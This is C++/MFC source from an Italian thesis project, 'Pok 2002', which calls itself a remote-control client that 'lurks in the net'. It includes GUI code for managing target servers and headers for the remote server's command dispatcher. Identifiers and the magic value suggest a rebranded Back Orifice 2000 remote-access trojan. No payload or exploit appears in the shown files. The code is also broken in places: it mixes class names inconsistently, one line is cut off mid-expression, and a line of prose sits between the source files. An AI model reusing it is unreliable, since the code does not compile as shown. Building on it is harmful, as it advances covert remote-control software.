#include "pokgui.h"

#include "MainFrm.h"

#include "pokWDoc.h"

#ifdef _DEBUG

#define new DEBUG_NEW

#undef THIS_FILE

static char THIS_FILE[] = __FILE__;

#endif

#define MAGIC_DWORD 0xCDC31337

IMPLEMENT_DYNCREATE(CpokWDoc, CDocument)

BEGIN_MESSAGE_MAP(CpokWDoc, CDocument)


// eventuali messaggi 

END_MESSAGE_MAP()

// CpokWDoc costruttore / distruttore

CpokWDoc::CpokWDoc()

{



m_pHeadSI=NULL;

}

CpokWDoc::~CpokWDoc()

{

}

void *CpokWDoc::InsertServer(const char *svName,


                        const char *svConnectionType,






        const char *svAddress,







    const char *svEncryption,







    const char *svAuthentication)

{


SERVER_INFO *si,*prev;


si=(SERVER_INFO *)malloc(sizeof(SERVER_INFO));


if(si==NULL) return NULL;


memset(si,0,sizeof(SERVER_INFO));


// Risorse permanti


lstrcpyn(si->svName,svName,64);


lstrcpyn(si->svConnectionType,svConnectionType,64);


lstrcpyn(si->svAddress,svAddress,512);


lstrcpyn(si->svEncryption,svEncryption,64);


lstrcpyn(si->svAuthentication,svAuthentication,64);


// Risorse temporanee


si->next=NULL;




if(m_pHeadSI==NULL) {



m_pHeadSI=si;


} else {



for(prev=m_pHeadSI;prev->next!=NULL;prev=prev->next);



prev->next=si;


}


SetModifiedFlag(TRUE);  //modifica dell’area di lavoro workspace

return si;

}

void CpokWDoc::EditServer(SERVER_INFO *si,







 const char *svName,


                     const char *svConnectionType,






     const char *svAddress,







 const char *svEncryption,







 const char *svAuthentication)

{


lstrcpyn(si->svName,svName,64);


lstrcpyn(si->svConnectionType,svConnectionType,64);


lstrcpyn(si->svAddress,svAddress,512);


lstrcpyn(si->svEncryption,svEncryption,64);


lstrcpyn(si->svAuthentication,svAuthentication,64);


SetModifiedFlag(TRUE);

}

void CpokWDoc::DeleteServer(void *psi)

{


SERVER_INFO *si;


si=(SERVER_INFO *)psi;


if(m_pHeadSI==si) {



m_pHeadSI=si->next;


}


else {



SERVER_INFO *prev;



prev=m_pHeadSI;



while((prev->next)!=si) prev=prev->next;



prev->next=si->next;


}


free(si);


SetModifiedFlag(TRUE);

}

#ifdef _DEBUG

void CpokWDoc::AssertValid() const

{


CDocument::AssertValid();

}

void CpokWDoc::Dump(CDumpContext& dc) const

{


CDocument::Dump(dc);

}

#endif //_DEBUG
//comandi di  CpokWDoc

BOOL CpokWDoc::OnSaveDocument(LPCTSTR lpszPathName) 

{


HANDLE out;


out=CreateFile(lpszPathName,GENERIC_WRITE,0,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);


if(out!=INVALID_HANDLE_VALUE) {



SERVER_INFO *si;



DWORD dwBytes;



DWORD magic=MAGIC_DWORD;



si=m_pHeadSI;



WriteFile(out,&magic,sizeof(DWORD),&dwBytes,NULL);



while(si!=NULL) {




WriteFile(out,si->svName,64,&dwBytes,NULL);




WriteFile(out,si->svConnectionType,64,&dwBytes,NULL);




WriteFile(out,si->svAddress,512,&dwBytes,NULL);




WriteFile(out,si->svEncryption,64,&dwBytes,NULL);




WriteFile(out,si->svAuthentication,64,&dwBytes,NULL);




si=si->next;



}



CloseHandle(out);


}


SetModifiedFlag(FALSE);


return TRUE;

}

BOOL CpokWDoc::OnOpenDocument(LPCTSTR lpszPathName) 

{


char svName[64];


char svConnectionType[64];


char svAddress[512];


char svEncryption[64];


char svAuthentication[64];


DeleteContents();  //svuota il workspace attivo 


HANDLE in;

in=CreateFile(lpszPathName,GENERIC_READ,0,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);


if(in!=INVALID_HANDLE_VALUE) {



DWORD dwBytes,dwCount,dwMagic;



dwCount=GetFileSize(in,NULL);



ReadFile(in,&dwMagic,sizeof(DWORD),&dwBytes,NULL);



dwCount-=dwBytes;



if(dwMagic!=MAGIC_DWORD) { 




CloseHandle(in);




return FALSE;



}



while(dwCount>0) {
//carica la lista dei serve da file



ReadFile(in,svName,64,&dwBytes,NULL);




dwCount-=dwBytes;




ReadFile(in,svConnectionType,64,&dwBytes,NULL);




dwCount-=dwBytes;




ReadFile(in,svAddress,512,&dwBytes,NULL);




dwCount-=dwBytes;




ReadFile(in,svEncryption,64,&dwBytes,NULL);




dwCount-=dwBytes;




ReadFile(in,svAuthentication,64,&dwBytes,NULL);




dwCount-=dwBytes;




InsertServer(svName,svConnectionType,svAddress,svEncryption,svAuthentication);



}



CloseHandle(in);


}


SetModifiedFlag(FALSE);


return TRUE;

}

void CpokWDoc::DeleteContents() 

{


theApp.NewDocumentFile();


if(m_pHeadSI!=NULL) {



SERVER_INFO *psi;


while(m_pHeadSI!=NULL) {




psi=m_pHeadSI->next;




free(m_pHeadSI);




m_pHeadSI=psi;



}


}


CDocument::DeleteContents();

}

/*  Pok 2002 (il ragno che insidia la rete) */

// QueryDlg.cpp 
#include "stdafx.h"

#include "pokgui.h"

#include "QueryDlg.h"

#ifdef _DEBUG

#define new DEBUG_NEW

#undef THIS_FILE

static char THIS_FILE[] = __FILE__;

#endif

QueryDlg::QueryDlg(CWnd* pParent /*=NULL*/)


: CDialog(QueryDlg::IDD, pParent)

{


m_bCanceled=FALSE;

}

void QueryDlg::DoDataExchange(CDataExchange* pDX)

{


CDialog::DoDataExchange(pDX);

}

BEGIN_MESSAGE_MAP(QueryDlg, CDialog)

END_MESSAGE_MAP()

void QueryDlg::OnOK() 

{

}

void QueryDlg::OnCancel() 

{


m_bCanceled=TRUE;


CDialog::OnCancel();

}

/*  Pok 2002 (il ragno che insidia la rete)*/

// ServerList.cpp 

#include "stdafx.h"

#include "pokgui.h"

#include "ServerList.h"

#include "NewMachineDlg.h"

#include "MainFrm.h"

#include "pokWDoc.h"

#include "pokServerDlg.h"

#define TIMER_UPDATE 1

#ifdef _DEBUG

#define new DEBUG_NEW

#undef THIS_FILE

static char THIS_FILE[] = __FILE__;

#endif

CServerList::CServerList(CWnd* pParent /*=NULL*/)


: CDialog(CServerList::IDD, pParent)

{


m_nUpdateTimer=0;

}

CServerList::~CServerList()

{

}

void CServerList::CleanUpAndClose(void)

{


KillTimer(m_nUpdateTimer);


DeleteAllItems();


DestroyWindow();

}

void CServerList::DoDataExchange(CDataExchange* pDX)

{


CDialog::DoDataExchange(pDX);

}

BEGIN_MESSAGE_MAP(CServerList, CDialog)


ON_BN_CLICKED(ID_DETAILS, OnDetails)


ON_BN_CLICKED(ID_NEWMACHINE, OnNewmachine)


ON_BN_CLICKED(ID_DELETEMACHINE, OnDeletemachine)


ON_BN_CLICKED(ID_EDITMACHINE, OnEditmachine)


ON_BN_CLICKED(ID_CONNECTMACHINE, OnConnectMachine)


ON_WM_SIZE()


ON_NOTIFY(LVN_ITEMCHANGED, ID_SERVERLIST, OnItemchangedServerlist)


ON_NOTIFY(LVN_KEYDOWN, ID_SERVERLIST, OnKeydownServerlist)


ON_NOTIFY(NM_DBLCLK, ID_SERVERLIST, OnDblclkServerlist)


ON_WM_TIMER()


ON_WM_MOVE()


END_MESSAGE_MAP()

void CServerList::OnCancel()

{

}

void CServerList::OnOK()

{

}

void CServerList::OnDetails() 

{


CListCtrl *list=(CListCtrl *)GetDlgItem(ID_SERVERLIST);


CButton *details=(CButton *)GetDlgItem(ID_DETAILS);


DWORD dwStyle=GetWindowLong(list->GetSafeHwnd(),GWL_STYLE);


dwStyle &= ~LVS_TYPEMASK;


if(details->GetCheck()) dwStyle |= LVS_REPORT;


else dwStyle |= LVS_ICON;


SetWindowLong(list->GetSafeHwnd(),GWL_STYLE,dwStyle);


list->RedrawWindow();

}

void CServerList::OnNewmachine() 

{


CString strSvrAddr;


CNewMachineDlg nmd;


CListCtrl *list=(CListCtrl *)GetDlgItem(ID_SERVERLIST);


if(nmd.DoModal()==IDOK) {



CBOWDoc *cbd;



SERVER_INFO *pSvr;

 

cbd=(CBOWDoc *) ((CMainFrame *)theApp.GetMainWnd())->GetActiveDocument();



pSvr=(SERVER_INFO *) cbd->InsertServer(nmd.m_strMachineName,nmd.m_strSelectedIO,nmd.m_strSvrAddr,nmd.m_strSelectedEnc,nmd.m_strSelectedAuth);



if(pSvr==NULL) return;



// Sincronizza la lista dei controlli



SynchToDocument(cbd);


}

}

void CServerList::OnEditmachine() 

{


CListCtrl *list=(CListCtrl *)GetDlgItem(ID_SERVERLIST);


CNewMachineDlg nmd;


CpokWDoc *cbd;


SERVER_INFO *pSvr;


char textbuf[512];


cbd=(CpokWDoc *) ((CMainFrame *)theApp.GetMainWnd())->GetActiveDocument();


int i;


for(i=list->GetItemCount()-1;i>=0;i--) {



if(list->GetItemState(i,LVIS_SELECTED)==LVIS_SELECTED) break;


}


if(i<0) return;


LVITEM lvi;


lvi.iItem=i;


lvi.iSubItem=0;


lvi.mask=LVIF_TEXT | LVIF_PARAM;


lvi.pszText=textbuf;


lvi.cchTextMax=512;


list->GetItem(&lvi);


pSvr=(SERVER_INFO *)lvi.lParam;


if(pSvr->pServerDlg && pSvr->pServerDlg->m_bIsConnected)


{



AfxMessageBox("IL server è attualmente connesso.\nScollegare il serve prima di editarlo.",MB_OK|MB_ICONWARNING|MB_SETFOREGROUND|MB_TOPMOST);



return;


}


nmd.m_strMachineName=pSvr->svName;


nmd.m_strSvrAddr=pSvr->svAddress;


nmd.m_strSelectedIO=pSvr->svConnectionType;


nmd.m_strSelectedEnc=pSvr->svEncryption;


nmd.m_strSelectedAuth=pSvr->svAuthentication;


if(nmd.DoModal()==IDOK) {



cbd->EditServer(pSvr,nmd.m_strMachineName,nmd.m_strSelectedIO,nmd.m_strSvrAddr,nmd.m_strSelectedEnc,nmd.m_strSelectedAuth);



SynchToDocument(cbd);


}

}

void CServerList::OnDeletemachine() 

{


CListCtrl *list=(CListCtrl *)GetDlgItem(ID_SERVERLIST);


CBOWDoc *cbd;


SERVER_INFO *pSvr;


cbd=(CBOWDoc *) ((CMainFrame *)theApp.GetMainWnd())->GetActiveDocument();


int i;


for(i=list->GetItemCount()-1;i>=0;i--) {



if(list->GetItemState(i,LVIS_SELECTED)==LVIS_SELECTED) {




pSvr=(SERVER_INFO *)list->GetItemData(i);




DeleteItem(i);




cbd->DeleteServer(pSvr);



}


}

}

void CServerList::DeleteItem(int idx)

{


CListCtrl *list=(CListCtrl *)GetDlgItem(ID_SERVERLIST);


SERVER_INFO *pSvr;


pSvr = (SERVER_INFO *) list->GetItemData(idx);


if (pSvr->pServerDlg)


{



pSvr->pServerDlg->DestroyWindow ();



delete pSvr->pServerDlg;



pSvr->pServerDlg=NULL;


}


list->DeleteItem(idx);

}

void CServerList::DeleteAllItems()

{


CListCtrl *list=(CListCtrl *)GetDlgItem(ID_SERVERLIST);


int i;


if(list!=NULL) {



for(i=list->GetItemCount()-1;i>=0;i--) {




DeleteItem(i);



}


}

}

void CServerList::OnSize(UINT nType, int cx, int cy) 

{


CDialog::OnSize(nType, cx, cy);


CListCtrl *list=(CListCtrl *)GetDlgItem(ID_SERVERLIST);


if(list) {



RECT r;



int newsize;



int i;



// Muovi finetra



GetClientRect(&r);



list->MoveWindow(36,26,(r.right-r.left)-40,(r.bottom-r.top)-30);



// ridimensiona le colonne



list->GetClientRect(&r);



newsize=r.right-r.left;



for(i=0;i<5;i++) {




int newwidth=newsize/5;




if(newwidth<100) newwidth=100;




list->SetColumnWidth(i,newwidth);



}


}

}// slocca l’aggiornamento del sistema operativo

BOOL CServerList::OnInitDialog() 

{


CDialog::OnInitDialog();


ModifyStyle (0, WS_CLIPSIBLINGS | WS_CLIPCHILDREN);


CListCtrl *list=(CListCtrl *)GetDlgItem(ID_SERVERLIST);


m_NormalImageList.Create(IDB_NORMAL_pokCOMPS,32,1,RGB(255,0,0));


list->SetImageList(&m_NormalImageList,LVSIL_NORMAL);


m_SmallImageList.Create(IDB_LITTLE_pokCOMPS,16,1,RGB(255,0,0));


list->SetImageList(&m_SmallImageList,LVSIL_SMALL);


// Dimensione delle colonne


RECT r;


list->GetClientRect(&r);


int newwidth=(r.right-r.left)/5;


if(newwidth<100) newwidth=100;


list->InsertColumn(0,"MAcchina",LVCFMT_LEFT,newwidth,0);


list->InsertColumn(1,"Indirizzo",LVCFMT_LEFT,newwidth,1);


list->InsertColumn(2,"Connessione",LVCFMT_LEFT,newwidth,2);


list->InsertColumn(3,"Criptatura",LVCFMT_LEFT,newwidth,3);


list->InsertColumn(4,"Autentificazione",LVCFMT_LEFT,newwidth,3);


list->SetExtendedStyle(LVS_EX_FULLROWSELECT | LVS_EX_HEADERDRAGDROP);


CButton *nmb=(CButton *)GetDlgItem(ID_NEWMACHINE);


nmb->SetIcon(theApp.LoadIcon(IDI_NEWMACHINE));


CButton *dmb=(CButton *)GetDlgItem(ID_DELETEMACHINE);


dmb->SetIcon(theApp.LoadIcon(IDI_DELETEMACHINE));



dmb->EnableWindow(FALSE);


CButton *emb=(CButton *)GetDlgItem(ID_EDITMACHINE);


emb->SetIcon(theApp.LoadIcon(IDI_EDITMACHINE));


emb->EnableWindow(FALSE);


CButton *cmb=(CButton *)GetDlgItem(ID_CONNECTMACHINE);


cmb->SetIcon(theApp.LoadIcon(IDI_CONNECTMACHINE));


cmb->EnableWindow(FALSE);


CButton *ddt=(CButton *)GetDlgItem(ID_DETAILS);


ddt->SetCheck(1);


m_nUpdateTimer=SetTimer(TIMER_UPDATE,500,NULL);


if(m_nUpdateTimer==0) return FALSE;


return (TRUE);

}

void CServerList::OnItemchangedServerlist(NMHDR* pNMHDR, LRESULT* pResult) 

{


NM_LISTVIEW* pNMListView = (NM_LISTVIEW*)pNMHDR;


CListCtrl *list=(CListCtrl *)GetDlgItem(ID_SERVERLIST);


CButton *del=(CButton *)GetDlgItem(ID_DELETEMACHINE);


if(list->GetSelectedCount()==0) del->EnableWindow(FALSE);


else del->EnableWindow(TRUE);


CButton *edt=(CButton *)GetDlgItem(ID_EDITMACHINE);


if(list->GetSelectedCount()==1) edt->EnableWindow(TRUE);


else edt->EnableWindow(FALSE);


CButton *cdt=(CButton *)GetDlgItem(ID_CONNECTMACHINE);


if(list->GetSelectedCount()==1) cdt->EnableWindow(TRUE);


else cdt->EnableWindow(FALSE);


*pResult = 0;

}

void CServerList::OnKeydownServerlist(NMHDR* pNMHDR, LRESULT* pResult) 

{


NMLVKEYDOWN* pLVKeyDown = (NMLVKEYDOWN*)pNMHDR;


CButton *butt;


switch(pLVKeyDown->wVKey) {


case VK_DELETE:



butt=(CButton *)GetDlgItem(ID_DELETEMACHINE);



if(butt->IsWindowEnabled())




OnDeletemachine();



break;


case VK_INSERT:



OnNewmachine();



break;


}


*pResult = 0;

}

void CServerList::OnDblclkServerlist(NMHDR* pNMHDR, LRESULT* pResult) 

{


CListCtrl *list=(CListCtrl *)GetDlgItem(pNMHDR->idFrom);


int i;


if(list->GetSelectedCount()>0)


{



for (i=(list->GetItemCount()-1);i>=0;i--)



{




if(list->GetItemState(i,LVIS_SELECTED)==LVIS_SELECTED)




{





LVITEM lvi;





char svText[512];





// acquisisci informazioni sull’opzione





lvi.iItem=i;





lvi.iSubItem=0;





lvi.mask=LVIF_PARAM | LVIF_IMAGE | LVIF_TEXT;





lvi.pszText=svText;





lvi.cchTextMax=512;





list->GetItem (&lvi);





SERVER_INFO *si = (SERVER_INFO *) lvi.lParam;





if (si->pServerDlg)





{






si->pServerDlg->ShowWindow (







si->pServerDlg->IsWindowVisible()







? SW_HIDE : SW_SHOW);





} else





{






if (ConnectToServer (si))






{







lvi.iImage = 1;







list->SetItem (&lvi);






}





}




}



}


}


*pResult = 0;

}

void CServerList::SynchToDocument(CBOWDoc *cbd)

{


SERVER_INFO *si;


CListCtrl *pList;


int idx;


pList=(CListCtrl *) GetDlgItem(ID_SERVERLIST);


si=cbd->m_pHeadSI;


while(si!=NULL) {



BOOL bNew;



LVITEM lvi;



LVFINDINFO lvfi;



lvfi.flags=LVFI_PARAM;



lvfi.lParam=(LPARAM) si;



idx=pList->FindItem(&lvfi,-1);



if(idx==-1) {




idx=0;




lvi.mask=LVIF_TEXT | LVIF_IMAGE | LVIF_PARAM;




lvi.pszText=si->svName;




lvi.iImage=0;




lvi.iItem=idx;




lvi.iSubItem=0;




lvi.lParam=(LPARAM) si;




pList->InsertItem(&lvi);




bNew=TRUE;



} else {




lvi.mask=LVIF_TEXT;




lvi.pszText=si->svName;




lvi.iItem=idx;




lvi.iSubItem=0;




pList->SetItem(&lvi);




bNew=FALSE;



}



lvi.mask=LVIF_TEXT;



lvi.pszText=si->svAddress;



lvi.iItem=idx;



lvi.iSubItem=1;



pList->SetItem(&lvi);



lvi.mask=LVIF_TEXT;



lvi.pszText=si->svConnectionType;



lvi.iItem=idx;



lvi.iSubItem=2;



pList->SetItem(&lvi);



lvi.mask=LVIF_TEXT;



lvi.pszText=si->svEncryption;



lvi.iItem=idx;



lvi.iSubItem=3;



pList->SetItem(&lvi);



lvi.mask=LVIF_TEXT;



lvi.pszText=si->svAuthentication;



lvi.iItem=idx;



lvi.iSubItem=4;



pList->SetItem(&lvi);



si->pServerDlg = NULL;

#if 0





if(bNew) {




CString title("Client con comandi del server");




si->pServerDlgBDB=new CpokDialogBar;




si->pServerDlgBDB->Create(this->GetParentFrame(),IDD_BOSERVERDLG,title);




si->pServerDlgBDB->SetBarStyle((si->pServerDlgBDB->GetBarStyle() & 




si->pServerDlg=new CpokServerDlg();




si->pServerDlg->SetServerInfo(si);




si->pServerDlg->Create(CpokServerDlg::IDD,si->pServerDlgBDB);




si->pServerDlgBDB->SetDialog(si->pServerDlg);



}



else {




si->pServerDlg->SetServerInfo(si);




si->pServerDlg->UpdateDialog();




si->pServerDlg->Invalidate();




si->pServerDlg->UpdateWindow();



}

#endif



si=si->next;


}

}

void CServerList::OnTimer(UINT nIDEvent) 

{


if(nIDEvent==TIMER_UPDATE) {



UpdateListStatus();


}


CDialog::OnTimer(nIDEvent);

}

void CServerList::UpdateListStatus(void)

{


CListCtrl *list;


list=(CListCtrl *)GetDlgItem(ID_SERVERLIST);


int i;


for (i = (list->GetItemCount () - 1); i >= 0; i--)


{



LVITEM lvi;



SERVER_INFO *si;



char svText[512];



lvi.iItem=i;



lvi.iSubItem=0;



lvi.mask=LVIF_PARAM | LVIF_IMAGE | LVIF_TEXT;



lvi.pszText=svText;



lvi.cchTextMax=512;



list->GetItem(&lvi);



si = (SERVER_INFO *) lvi.lParam;



lvi.mask = LVIF_IMAGE;



lvi.iImage = (si->pServerDlg &&




si->pServerDlg->IsWindowVisible ()) ? 1 : 0;



list->SetItem(&lvi);


}

}

bool CServerList::ConnectToServer (SERVER_INFO *si)

{


si->pServerDlg = new CBOServerDlg ();


si->pServerDlg->SetServerInfo (si);


if (si->pServerDlg->Create (CBOServerDlg::IDD, this))



return (true); // success, so return that


delete si->pServerDlg;


si->pServerDlg = NULL;


return (false);

}

void CServerList::OnConnectMachine ()

{


CListCtrl *list = (CListCtrl *) GetDlgItem (ID_SERVERLIST);


int i;


if(list->GetSelectedCount() > 0)


{



for (i = list->GetItemCount() - 1; i >= 0; i--)



{




if (list->GetItemState (i, LVIS_SELECTED) == LVIS_SELECTED)




{





LVITEM lvi;





char svText[512];





lvi.iItem=i;





lvi.iSubItem=0;





lvi.mask=LVIF_PARAM | LVIF_IMAGE | LVIF_TEXT;





lvi.pszText=svText;





lvi.cchTextMax=512;





list->GetItem (&lvi);





SERVER_INFO *si = (SERVER_INFO *) lvi.lParam;





if (si->pServerDlg)





{






si->pServerDlg->ShowWindow (







si->pServerDlg->IsWindowVisible()







? SW_HIDE : SW_SHOW);





} else





{






if (ConnectToServer (si))






{







lvi.iImage = 1;







list->SetItem (&lvi);






}





}




}



}


}

}

/*  Pok 2002 (il ragno che insidia la rete)

Modulo di gestione della finestra di Presentazione

Tesi di specializzazione Convocazione del 17-06-2002 */

// Splash.cpp : implementation file

#include "stdafx.h"

#include "pokgui.h"

#include "splash.h"

#ifdef _DEBUG

#define new DEBUG_NEW

#undef THIS_FILE

static char THIS_FILE[] = __FILE__;

#endif

// CSplash dialog

CSplash::CSplash(CWnd* pParent /*=NULL*/)


: CDialog(CSplash::IDD, pParent)

{


//{{evtuali note e variabili in questo punto


//}}

 }

void CSplash::DoDataExchange(CDataExchange* pDX)

{


CDialog::DoDataExchange(pDX);

}

BEGIN_MESSAGE_MAP(CSplash, CDialog)


ON_WM_TIMER()


ON_WM_LBUTTONDOWN()


ON_WM_RBUTTONDOWN()


END_MESSAGE_MAP()

BOOL CSplash::OnInitDialog() 

{


CDialog::OnInitDialog();


RECT r;


GetDlgItem(IDC_SPLASH)->GetClientRect(&r);


MoveWindow((GetSystemMetrics(SM_CXSCREEN)-r.right)/2,



(GetSystemMetrics(SM_CYSCREEN)-r.bottom)/2,



(r.right-r.left),(r.bottom-r.top),TRUE);


SetTimer(69, 6000,NULL);


return TRUE;  

}

void CSplash::OnTimer(UINT nIDEvent) 

{


if(nIDEvent==69) {



EndDialog(0);



}


CDialog::OnTimer(nIDEvent);

}

void CSplash::OnLButtonDown(UINT nFlags, CPoint point) 

{


EndDialog(0);



CDialog::OnLButtonDown(nFlags, point);

}

void CSplash::OnRButtonDown(UINT nFlags, CPoint point) 

{


EndDialog(0);



CDialog::OnRButtonDown(nFlags, point);

}

/*  Pok client di telecontrollo

    Tesi di specializzazione Lugano 2002 (CH)

     */

#include "stdafx.h"

Sezione di esposizione codici Header files. (Pok.exe)

(Classi e intestazione relative al programma Pok.exe) (server remoto)

/*  file  auth.h*/

#ifndef __INC_AUTH_H

#define __INC_AUTH_H

#include<windows.h>

#include<iohandler.h>

#include<encryption.h>

#define MAX_AUTH_HANDLERS 8

#define INVALID_AUTH_HANDLER ((AUTH_HANDLER *) NULL)

// classe che gestisce il Socket “porta di comunicazione”

#pragma pack(push, 1)

// manipolatore di IO 

typedef struct {


int (__cdecl *pInsert)(void);


int (__cdecl *pRemove)(void);


char *(__cdecl *pQuery)(void);


void *(__cdecl *pOnListen)(CIOSocket *pSock, CEncryptionEngine *pEnc, int nUserId);


void *(__cdecl *pOnConnect)(CIOSocket *pSock, CEncryptionEngine *pEnc, int nUserId);


void *(__cdecl *pOnAccept)(void *pInternal, CIOSocket *pSock, CEncryptionEngine *pEnc);


int (__cdecl *pGetUserID)(void *pInternal);


int (__cdecl *pOnClose)(void *pInternal);


int (__cdecl *pOnRecv)(void *pInternal, CEncryptionEngine *pEnc, BYTE *pData, int nDataLen, BYTE **pInData, int *pnInDataLen);


int (__cdecl *pOnSend)(void *pInternal, CEncryptionEngine *pEnc, BYTE *pData, int nDataLen, BYTE **pOutData, int *pnOutDataLen);


void (__cdecl *pFree)(void *pInternal, BYTE *pBuffer);


BOOL (__cdecl *pValidateCommand)(int nUserId, int nCommand);

} AUTH_HANDLER;

class CAuthSocket {

private:


void *m_pData;

public:


AUTH_HANDLER *m_pHandler;


IO_HANDLER *m_pIOH;


ENCRYPTION_ENGINE *m_pEE;


CIOSocket *m_pSock;


CEncryptionEngine *m_pEnc;


CAuthSocket(AUTH_HANDLER *pHandler, IO_HANDLER *pIOH, ENCRYPTION_ENGINE *pEE);


virtual ~CAuthSocket();


virtual int Listen(const char *svTarget, int nUserId);


virtual int Connect(const char *svTarget, int nUserId);


virtual CAuthSocket *Accept(void);


virtual int GetUserID(void);


virtual int Close(void);


virtual int Recv(BYTE **pInData, int *pnInDataLen);


virtual int Send(BYTE *pData, int nDataLen);


virtual void Free(BYTE *pBuffer);


virtual int GetRemoteAddr(char *svAddr,int nMaxLen);


virtual int GetConnectAddr(char *svAddr,int nMaxLen);


virtual AUTH_HANDLER *GetAuthHandler(void);

};

#pragma pack(pop)

class CAuthHandler {

private:


AUTH_HANDLER *m_AuthHandler[MAX_AUTH_HANDLERS];

public:


CAuthHandler();


virtual ~CAuthHandler();


virtual int Insert(AUTH_HANDLER *handler);


virtual int Remove(int handlernum);


virtual char *Query(int nHandler);


virtual int GetHandlerCount(void);


virtual AUTH_HANDLER *GetHandler(int nHandler);


virtual AUTH_HANDLER *GetHandlerByID(const char *svID);

};

typedef int (INTERACTIVE_CONNECT)(HWND hParent,LPCSTR svBindStr,LPCSTR svNetMod,LPCSTR svEncryption,LPCSTR svAuth,char *svRBindStr,char *svRNetMod,char *svREncryption,char *svRAuth);

typedef int (INTERACTIVE_LISTEN)(HWND hParent,LPCSTR svBindStr,LPCSTR svNetMod,LPCSTR svEncryption,LPCSTR svAuth,char *svRBindStr,char *svRNetMod,char *svREncryption,char *svRAuth);

typedef int (TYPEOF_IssueAuthCommandRequest)(CAuthSocket *cas_from, int command, int comid, int nArg1, const char *svArg2, const char *svArg3);

typedef int (TYPEOF_IssueAuthCommandReply)(CAuthSocket *cas_from, int comid, int nReplyCode, const char *svReply);

typedef CAuthSocket *(TYPEOF_ConnectAuthSocket)(INTERACTIVE_CONNECT *pIC, int nUserId, HWND hParent, LPCSTR svBindStr, LPCSTR svNetMod, LPCSTR svEncryption, LPCSTR svAuth);

typedef CAuthSocket *(TYPEOF_ListenAuthSocket)(INTERACTIVE_LISTEN *pIL, int nUserId, HWND hParent, LPCSTR svBindStr, LPCSTR svNetMod, LPCSTR svEncryption, LPCSTR svAuth);

#ifdef __pokSERVER__

int IssueAuthCommandRequest(CAuthSocket *cas_from, int command, int comid, int nArg1, const char *svArg2, const char *svArg3);

int IssueAuthCommandReply(CAuthSocket *cas_from, int comid, int nReplyCode, const char *svReply);

CAuthSocket *ConnectAuthSocket(INTERACTIVE_CONNECT *pIC, int nUserId, HWND hParent, LPCSTR svBindStr, LPCSTR svNetMod, LPCSTR svEncryption, LPCSTR svAuth);

CAuthSocket *ListenAuthSocket(INTERACTIVE_LISTEN *pIL, int nUserId, HWND hParent, LPCSTR svBindStr, LPCSTR svNetMod, LPCSTR svEncryption, LPCSTR svAuth);

#endif

#endif

/*  file bo_debug.h. */

#ifndef __INC_pok_DEBUG_H

#define __INC_pok_DEBUG_H

// Debug finestra messaggi

#ifdef _DEBUG

#define DebugMessageBox(hWnd,lpText,lpCaption,uType) MessageBox(hWnd,lpText,lpCaption,uType)

#else

#define DebugMessageBox(hWnd,lpText,lpCaption,uType)

#endif

#endif

/*  file bocomreg.h*/

#ifndef __INC_pokCOMREG_H

#define __INC_pokCOMREG_H

#include<windows.h>

#include<auth.h>

#define MAX_pok_COMMANDS 1024

#define INVALID_CMD_HANDLER ((pok_CMD_HANDLER) NULL)

typedef int (*pok_CMD_HANDLER)(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3);

#pragma pack(push,1)

typedef struct {


BOOL bNativeComm;


char *svFolderName;


char *svCommName;


char *svArgDesc1;


char *svArgDesc2;


char *svArgDesc3;

} pok_CMD_DESC; 

#pragma pack(pop)

typedef int TYPEOF_RegisterCommand(pok_CMD_HANDLER handler, char *svFolderName, char *svCommName, char *svArgDesc1, char *svArgDesc2, char *svArgDesc3);

typedef int TYPEOF_UnregisterCommand(int command);

typedef int TYPEOF_DispatchCommand(int command, CAuthSocket *cas_from, int comid, int nArg1, char *svArg2, char *svArg3);

#ifdef __pokSERVER__

extern pok_CMD_HANDLER *command_handler_table;

extern pok_CMD_DESC *command_description_table;

int InitializeCommandDispatcher(void);

int KillCommandDispatcher(void);

int RegisterCommand(pok_CMD_HANDLER handler, char *svFolderName, char *svCommName, char *svArgDesc1, char *svArgDesc2, char *svArgDesc3);

int UnregisterCommand(int command);

int DispatchCommand(int command, CAuthSocket *cas_from, int comid, int nArg1, char *svArg2, char *svArg3);

#endif

#endif

/*  file commandloop.h. */

#ifndef __INC_COMMANDLOOP_H

#define __INC_COMMANDLOOP_H

#include<auth.h>

#include<iohandler.h>

#include<encryption.h>

#define MAX_COMMAND_SOCKETS 64

#define MAX_COMMAND_CONNECTIONS 256

#ifdef __pokSERVER__

extern CIOHandler *g_pIOHandler;

extern CEncryptionHandler *g_pEncryptionHandler;

extern CAuthHandler *g_pAuthHandler;

extern CAuthSocket *g_pCommSock[MAX_COMMAND_SOCKETS];

extern CAuthSocket *g_pConnSock[MAX_COMMAND_CONNECTIONS];

extern int g_nCommCount, g_nConnCount;

extern BOOL g_bpokFinished;

extern char g_szStartupOptions[];

void InitializeCommands(void);

void TerminateCommands(void);

void CommandHandlerLoop(void);

#endif

#endif


/*  file commnet.h. */

#ifndef __INC_COMMNET_H

#define __INC_COMMNET_H

#include<windows.h>

#include<auth.h>

struct bo_command_header {


int cmdlen;


char flags;


int command;


int comid;


int nArg1;


int nArg2Len;


int nArg3Len;

};

#define CMDFLAG_COMMAND 1

#define CMDFLAG_REPLY   2

typedef void TYPEOF_BreakDownCommand(BYTE *pInBuffer, int *cmdlen, int *command, int *comid, int *nArg1, char **svArg2, char **svArg3);

typedef BYTE *TYPEOF_BuildCommandRequest(int command, int comid, int nArg1, const char *svArg2, const char *svArg3, int *pnReqLen);

typedef BYTE *TYPEOF_BuildCommandReply(int comid, int nReplyCode, const char *svReply, int *pnReqLen);

typedef void TYPEOF_FreeCommandMemory(BYTE *pCmd);

typedef int TYPEOF_IssueAuthCommandRequest(CAuthSocket *cas_from, int command, int comid, int nArg1, const char *svArg2, const char *svArg3);

typedef int TYPEOF_IssueAuthCommandReply(CAuthSocket *cas_from, int comid, int nReplyCode, const char *svReply);

#ifdef __pokSERVER__

void BreakDownCommand(BYTE *pInBuffer, int *cmdlen, int *command, int *comid, int *nArg1, char **svArg2, char **svArg3);

BYTE *BuildCommandRequest(int command, int comid, int nArg1, const char *svArg2, const char *svArg3, int *pnReqLen);

BYTE *BuildCommandReply(int comid, int nReplyCode, const char *svReply, int *pnReqLen);

void FreeCommandMemory(BYTE *pCmd);

int IssueAuthCommandRequest(CAuthSocket *cas_from, int command, int comid, int nArg1, const char *svArg2, const char *svArg3);

